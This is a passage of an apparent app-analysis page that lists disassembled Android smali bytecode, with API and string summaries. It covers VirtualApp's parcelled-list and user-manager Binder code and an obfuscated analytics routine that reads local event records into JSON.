                              • Read extra #
                              • :
                              • Read inline #
                              • Failure retrieving array; only received
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                              5invoke-virtual {p1}, Landroid/os/Parcel;->readInt()I
                              6move-result v2
                              7new-instance v0, Ljava/util/ArrayList;
                              9invoke-direct {v0, v2}, Ljava/util/ArrayList;-><init>(I)V
                              10iput-object v0, p0, Lcom/lody/virtual/remote/VParceledListSlice;->mList:Ljava/util/List;
                              11sget-boolean v0, Lcom/lody/virtual/remote/VParceledListSlice;->DEBUG:Z
                              12if-eqz v0, :cond_31
                              14sget-object v0, Lcom/lody/virtual/remote/VParceledListSlice;->TAG:Ljava/lang/String;
                              15new-instance v3, Ljava/lang/StringBuilder;
                              17invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              19const-string v4, "Retrieving "
                              21invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              22move-result-object v3
                              24invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              25move-result-object v3
                              27const-string v4, " items"
                              29invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              30move-result-object v3
                              32invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              33move-result-object v3
                              35invoke-static {v0, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              36cond_31: if-gtz v2, :cond_34
                              37goto_33: return-void
                              38cond_34: const/4 v0, 0x0
                              39goto_35: if-ge v1, v2, :cond_3d
                              41invoke-virtual {p1}, Landroid/os/Parcel;->readInt()I
                              42move-result v3
                              43if-nez v3, :cond_d4
                              44cond_3d: if-ge v1, v2, :cond_33
                              46invoke-virtual {p1}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              47move-result-object v3
                              48goto_43: if-ge v1, v2, :cond_33
                              49sget-boolean v4, Lcom/lody/virtual/remote/VParceledListSlice;->DEBUG:Z
                              50if-eqz v4, :cond_75
                              52sget-object v4, Lcom/lody/virtual/remote/VParceledListSlice;->TAG:Ljava/lang/String;
                              53new-instance v5, Ljava/lang/StringBuilder;
                              55invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              57const-string v6, "Reading more @"
                              59invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              60move-result-object v5
                              62invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              63move-result-object v5
                              65const-string v6, " of "
                              67invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              68move-result-object v5
                              70invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              71move-result-object v5
                              73const-string v6, ": retriever="
                              75invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              76move-result-object v5
                              78invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              79move-result-object v5
                              81invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              82move-result-object v5
                              84invoke-static {v4, v5}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              85cond_75:
                              86invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
                              87move-result-object v4
                              89invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
                              90move-result-object v5
                              92invoke-virtual {v4, v1}, Landroid/os/Parcel;->writeInt(I)V
                              93const/4 v6, 0x1
                              94const/4 v7, 0x0
                              95try_start_82:
                              96invoke-interface {v3, v6, v4, v5, v7}, Landroid/os/IBinder;->transact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              97goto_85: if-ge v1, v2, :cond_148
                              99invoke-virtual {v5}, Landroid/os/Parcel;->readInt()I
                              100move-result v6
                              101if-eqz v6, :cond_148
                              103invoke-virtual {v5, p2}, Landroid/os/Parcel;->readParcelable(Ljava/lang/ClassLoader;)Landroid/os/Parcelable;
                              104move-result-object v6
                              106invoke-virtual {v6}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              107move-result-object v7
                              109invoke-static {v0, v7}, Lcom/lody/virtual/remote/VParceledListSlice;->verifySameType(Ljava/lang/Class;Ljava/lang/Class;)V
                              111iget-object v7, p0, Lcom/lody/virtual/remote/VParceledListSlice;->mList:Ljava/util/List;
                              113invoke-interface {v7, v6}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              114sget-boolean v6, Lcom/lody/virtual/remote/VParceledListSlice;->DEBUG:Z
                              115if-eqz v6, :cond_d1
                              117sget-object v6, Lcom/lody/virtual/remote/VParceledListSlice;->TAG:Ljava/lang/String;
                              118new-instance v7, Ljava/lang/StringBuilder;
                              120invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                              122const-string v8, "Read extra #"
                              124invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              125move-result-object v7
                              127invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              128move-result-object v7
                              130const-string v8, ": "
                              132invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              133move-result-object v7
                              135iget-object v8, p0, Lcom/lody/virtual/remote/VParceledListSlice;->mList:Ljava/util/List;
                              137iget-object v9, p0, Lcom/lody/virtual/remote/VParceledListSlice;->mList:Ljava/util/List;
                              139invoke-interface {v9}, Ljava/util/List;->size()I
                              140move-result v9
                              141add-int/lit8 v9, v9, -0x1
                              143invoke-interface {v8, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              144move-result-object v8
                              146invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              147move-result-object v7
                              149invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              150move-result-object v7
                              152invoke-static {v6, v7}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              153cond_d1: add-int/lit8 v1, v1, 0x1
                              154goto/16 :goto_85
                              155cond_d4:
                              156invoke-virtual {p1, p2}, Landroid/os/Parcel;->readParcelable(Ljava/lang/ClassLoader;)Landroid/os/Parcelable;
                              157move-result-object v3
                              158if-nez v0, :cond_11b
                              160invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              161move-result-object v0
                              162goto_de:
                              163iget-object v4, p0, Lcom/lody/virtual/remote/VParceledListSlice;->mList:Ljava/util/List;
                              165invoke-interface {v4, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              166sget-boolean v3, Lcom/lody/virtual/remote/VParceledListSlice;->DEBUG:Z
                              167if-eqz v3, :cond_117
                              169sget-object v3, Lcom/lody/virtual/remote/VParceledListSlice;->TAG:Ljava/lang/String;
                              170new-instance v4, Ljava/lang/StringBuilder;
                              172invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              174const-string v5, "Read inline #"
                              176invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              177move-result-object v4
                              179invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              180move-result-object v4
                              182const-string v5, ": "
                              184invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              185move-result-object v4
                              187iget-object v5, p0, Lcom/lody/virtual/remote/VParceledListSlice;->mList:Ljava/util/List;
                              189iget-object v6, p0, Lcom/lody/virtual/remote/VParceledListSlice;->mList:Ljava/util/List;
                              191invoke-interface {v6}, Ljava/util/List;->size()I
                              192move-result v6
                              193add-int/lit8 v6, v6, -0x1
                              195invoke-interface {v5, v6}, Ljava/util/List;->get(I)Ljava/lang/Object;
                              196move-result-object v5
                              198invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              199move-result-object v4
                              201invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              202move-result-object v4
                              204invoke-static {v3, v4}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              205cond_117: add-int/lit8 v1, v1, 0x1
                              206goto/16 :goto_35
                              207cond_11b:
                              208invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              209move-result-object v4
                              211invoke-static {v0, v4}, Lcom/lody/virtual/remote/VParceledListSlice;->verifySameType(Ljava/lang/Class;Ljava/lang/Class;)V
                              212goto/16 :goto_de
                              213catch_123: move-exception v0
                              215sget-object v3, Lcom/lody/virtual/remote/VParceledListSlice;->TAG:Ljava/lang/String;
                              216new-instance v4, Ljava/lang/StringBuilder;
                              218invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              220const-string v5, "Failure retrieving array; only received "
                              222invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              223move-result-object v4
                              225invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              226move-result-object v1
                              228const-string v4, " of "
                              230invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              231move-result-object v1
                              233invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              234move-result-object v1
                              236invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              237move-result-object v1
                              239invoke-static {v3, v1, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                              240goto/16 :goto_33
                              241cond_148:
                              242invoke-virtual {v5}, Landroid/os/Parcel;->recycle()V
                              244invoke-virtual {v4}, Landroid/os/Parcel;->recycle()V
                              245goto/16 :goto_43
                              APIs
                              • android.os.Binder.onTransact
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IUserManager$Stub.createUser
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IUserManager$Stub.removeUser
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IUserManager$Stub.setUserName
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • android.graphics.Bitmap.CREATOR:Landroid/os/Parcelable$Creator
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IUserManager$Stub.setUserIcon
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IUserManager$Stub.getUserIcon
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.graphics.Bitmap.writeToParcel
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IUserManager$Stub.getUsers
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IUserManager$Stub.getUserInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IUserManager$Stub.setGuestEnabled
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IUserManager$Stub.isGuestEnabled
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IUserManager$Stub.wipeUser
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IUserManager$Stub.getUserSerialNumber
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IUserManager$Stub.getUserHandle
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              Strings
                              • com.lody.virtual.server.IUserManager
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2const/4 v1, 0x1
                              3sparse-switch p1, :sswitch_data_136
                              5invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              6move-result v1
                              7goto_9: return v1
                              8sswitch_a:
                              9const-string v0, "com.lody.virtual.server.IUserManager"
                              11invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              12goto/16 :goto_9
                              13sswitch_10:
                              14const-string v2, "com.lody.virtual.server.IUserManager"
                              16invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              18invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              19move-result-object v2
                              21invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              22move-result v3
                              24invoke-virtual {p0, v2, v3}, Lcom/lody/virtual/server/IUserManager$Stub;->createUser(Ljava/lang/String;I)Lcom/lody/virtual/os/VUserInfo;
                              25move-result-object v2
                              27invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              28if-eqz v2, :cond_2d
                              30invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              32invoke-virtual {v2, p3, v1}, Lcom/lody/virtual/os/VUserInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              33goto/16 :goto_9
                              34cond_2d:
                              35invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              36goto/16 :goto_9
                              37sswitch_31:
                              38const-string v2, "com.lody.virtual.server.IUserManager"
                              40invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              42invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              43move-result v2
                              45invoke-virtual {p0, v2}, Lcom/lody/virtual/server/IUserManager$Stub;->removeUser(I)Z
                              46move-result v2
                              48invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              49if-eqz v2, :cond_44
                              50move v0, v1
                              51cond_44:
                              52invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              53goto/16 :goto_9
                              54sswitch_48:
                              55const-string v0, "com.lody.virtual.server.IUserManager"
                              57invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              59invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              60move-result v0
                              62invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              63move-result-object v2
                              65invoke-virtual {p0, v0, v2}, Lcom/lody/virtual/server/IUserManager$Stub;->setUserName(ILjava/lang/String;)V
                              67invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              68goto/16 :goto_9
                              69sswitch_5c:
                              70const-string v0, "com.lody.virtual.server.IUserManager"
                              72invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              74invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              75move-result v2
                              77invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              78move-result v0
                              79if-eqz v0, :cond_7a
                              81sget-object v0, Landroid/graphics/Bitmap;->CREATOR:Landroid/os/Parcelable$Creator;
                              83invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              84move-result-object v0
                              85check-cast v0, Landroid/graphics/Bitmap;
                              86goto_73:
                              87invoke-virtual {p0, v2, v0}, Lcom/lody/virtual/server/IUserManager$Stub;->setUserIcon(ILandroid/graphics/Bitmap;)V
                              89invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              90goto/16 :goto_9
                              91cond_7a: const/4 v0, 0x0
                              92goto/16 :goto_73
                              93sswitch_7c:
                              94const-string v2, "com.lody.virtual.server.IUserManager"
                              96invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              98invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              99move-result v2
                              101invoke-virtual {p0, v2}, Lcom/lody/virtual/server/IUserManager$Stub;->getUserIcon(I)Landroid/graphics/Bitmap;
                              102move-result-object v2
                              104invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              105if-eqz v2, :cond_96
                              107invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              109invoke-virtual {v2, p3, v1}, Landroid/graphics/Bitmap;->writeToParcel(Landroid/os/Parcel;I)V
                              110goto/16 :goto_9
                              111cond_96:
                              112invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              113goto/16 :goto_9
                              114sswitch_9b:
                              115const-string v2, "com.lody.virtual.server.IUserManager"
                              117invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              119invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              120move-result v2
                              121if-eqz v2, :cond_a7
                              122move v0, v1
                              123cond_a7:
                              124invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IUserManager$Stub;->getUsers(Z)Ljava/util/List;
                              125move-result-object v0
                              127invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              129invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              130goto/16 :goto_9
                              131sswitch_b3:
                              132const-string v2, "com.lody.virtual.server.IUserManager"
                              134invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              136invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              137move-result v2
                              139invoke-virtual {p0, v2}, Lcom/lody/virtual/server/IUserManager$Stub;->getUserInfo(I)Lcom/lody/virtual/os/VUserInfo;
                              140move-result-object v2
                              142invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              143if-eqz v2, :cond_cd
                              145invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              147invoke-virtual {v2, p3, v1}, Lcom/lody/virtual/os/VUserInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              148goto/16 :goto_9
                              149cond_cd:
                              150invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              151goto/16 :goto_9
                              152sswitch_d2:
                              153const-string v2, "com.lody.virtual.server.IUserManager"
                              155invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              157invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              158move-result v2
                              159if-eqz v2, :cond_de
                              160move v0, v1
                              161cond_de:
                              162invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IUserManager$Stub;->setGuestEnabled(Z)V
                              164invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              165goto/16 :goto_9
                              166sswitch_e6:
                              167const-string v2, "com.lody.virtual.server.IUserManager"
                              169invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              171invoke-virtual {p0}, Lcom/lody/virtual/server/IUserManager$Stub;->isGuestEnabled()Z
                              172move-result v2
                              174invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              175if-eqz v2, :cond_f5
                              176move v0, v1
                              177cond_f5:
                              178invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              179goto/16 :goto_9
                              180sswitch_fa:
                              181const-string v0, "com.lody.virtual.server.IUserManager"
                              183invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              185invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              186move-result v0
                              188invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IUserManager$Stub;->wipeUser(I)V
                              190invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              191goto/16 :goto_9
                              192sswitch_10b:
                              193const-string v0, "com.lody.virtual.server.IUserManager"
                              195invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              197invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              198move-result v0
                              200invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IUserManager$Stub;->getUserSerialNumber(I)I
                              201move-result v0
                              203invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              205invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              206goto/16 :goto_9
                              207sswitch_120:
                              208const-string v0, "com.lody.virtual.server.IUserManager"
                              210invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              212invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              213move-result v0
                              215invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IUserManager$Stub;->getUserHandle(I)I
                              216move-result v0
                              218invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              220invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              221goto/16 :goto_9
                              222nop
                              Cross References
                              APIs
                              • android.database.sqlite.SQLiteDatabase.beginTransaction
                              • android.database.sqlite.SQLiteDatabase.rawQuery
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.<init>
                              • android.database.Cursor.moveToNext
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getInt
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • java.lang.String.equals
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.has
                              • org.json.JSONObject.optJSONArray
                              • org.json.JSONArray.put
                              • org.json.JSONObject.put
                              • android.database.Cursor.close
                              • android.database.sqlite.SQLiteDatabase.endTransaction
                              • org.json.JSONArray.<init>
                              • android.database.Cursor.close
                              • android.database.sqlite.SQLiteDatabase.endTransaction
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.has
                              • org.json.JSONObject.optJSONArray
                              • org.json.JSONArray.put
                              • org.json.JSONObject.put
                              • org.json.JSONArray.<init>
                              • org.json.JSONObject.length
                              • org.json.JSONArray.<init>
                              • org.json.JSONObject.keys
                              • java.util.Iterator.hasNext
                              • org.json.JSONObject.<init>
                              • java.util.Iterator.next
                              • org.json.JSONObject.optString
                              • org.json.JSONArray.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.length
                              • org.json.JSONArray.put
                              • org.json.JSONArray.length
                              • org.json.JSONObject.put
                              • org.json.JSONObject.length
                              • org.json.JSONArray.<init>
                              • org.json.JSONObject.keys
                              • java.util.Iterator.hasNext
                              • org.json.JSONObject.<init>
                              • java.util.Iterator.next
                              • org.json.JSONObject.optString
                              • org.json.JSONArray.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.length
                              • org.json.JSONArray.put
                              • org.json.JSONArray.length
                              • org.json.JSONObject.put
                              • android.database.sqlite.SQLiteDatabase.setTransactionSuccessful
                              • android.database.Cursor.close
                              • android.database.sqlite.SQLiteDatabase.endTransaction
                              Strings
                              • select * from __et
                              • __t
                              • __i
                              • __s
                              • ekv
                              • gkv
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3sget-object v1, Lb/a/cx;->a:Landroid/content/Context;
                              5invoke-static {v1}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              6move-result-object v1
                              8invoke-virtual {v1}, Lb/a/cv;->a()Landroid/database/sqlite/SQLiteDatabase;
                              9try_end_a: move-result-object v2
                              10try_start_b:
                              11invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->beginTransaction()V
                              13const-string v1, "select * from __et"
                              14const/4 v3, 0x0
                              16invoke-virtual {v2, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
                              17try_end_14: move-result-object v1
                              18if-eqz v1, :cond_14c
                              19try_start_17: new-instance v4, Lorg/json/JSONObject;
                              21invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                              22new-instance v5, Lorg/json/JSONObject;
                              24invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                              25goto_21:
                              26invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
                              27move-result v0
                              28if-eqz v0, :cond_ca
                              30const-string v0, "__t"
                              32invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              33move-result v0
                              35invoke-interface {v1, v0}, Landroid/database/Cursor;->getInt(I)I
                              36move-result v3
                              38const-string v0, "__i"
                              40invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              41move-result v0
                              43invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              44move-result-object v0
                              46const-string v6, "__s"
                              48invoke-interface {v1, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              49move-result v6
                              51invoke-interface {v1, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              52move-result-object v6
                              54const-string v7, ""
                              56invoke-virtual {v7, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              57move-result v7
                              58if-eqz v7, :cond_51
                              60invoke-static {}, Lb/a/ad;->a()Ljava/lang/String;
                              61move-result-object v0
                              62cond_51: packed-switch v3, :pswitch_data_178
                              63goto/16 :goto_21
                              64pswitch_55:
                              65invoke-static {v6}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              66move-result v3
                              67if-nez v3, :cond_21
                              68new-instance v7, Lorg/json/JSONObject;
                              70invoke-virtual {p0, v6}, Lb/a/cx;->b(Ljava/lang/String;)Ljava/lang/String;
                              71move-result-object v3
                              73invoke-direct {v7, v3}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              75invoke-virtual {v4, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                              76move-result v3
                              77if-eqz v3, :cond_8a
                              79invoke-virtual {v4, v0}, Lorg/json/JSONObject;->optJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                              80move-result-object v3
                              81goto_6e:
                              82invoke-virtual {v3, v7}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              84invoke-virtual {v4, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              85try_end_74: goto/16 :goto_21
                              86catch_75: move-exception v0
                              87move-object v0, v1
                              88move-object v1, v2
                              89goto_78: if-eqz v0, :cond_7d
                              91invoke-interface {v0}, Landroid/database/Cursor;->close()V
                              92cond_7d:
                              93invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                              95sget-object v0, Lb/a/cx;->a:Landroid/content/Context;
                              97invoke-static {v0}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              98move-result-object v0
                              100invoke-virtual {v0}, Lb/a/cv;->b()V
                              101goto_89: return-void
                              102cond_8a: new-instance v3, Lorg/json/JSONArray;
                              104invoke-direct {v3}, Lorg/json/JSONArray;-><init>()V
                              105try_end_8f: goto/16 :goto_6e
                              106catchall_90: move-exception v0
                              107goto_91: if-eqz v1, :cond_96
                              109invoke-interface {v1}, Landroid/database/Cursor;->close()V
                              110cond_96:
                              111invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                              113sget-object v1, Lb/a/cx;->a:Landroid/content/Context;
                              115invoke-static {v1}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              116move-result-object v1
                              118invoke-virtual {v1}, Lb/a/cv;->b()V
                              119throw v0
                              120pswitch_a3:
                              121invoke-static {v6}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              122move-result v3
                              123if-nez v3, :cond_21
                              124new-instance v7, Lorg/json/JSONObject;
                              126invoke-virtual {p0, v6}, Lb/a/cx;->b(Ljava/lang/String;)Ljava/lang/String;
                              127move-result-object v3
                              129invoke-direct {v7, v3}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              131invoke-virtual {v5, v0}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                              132move-result v3
                              133if-eqz v3, :cond_c4
                              135invoke-virtual {v5, v0}, Lorg/json/JSONObject;->optJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                              136move-result-object v3
                              137goto_bc:
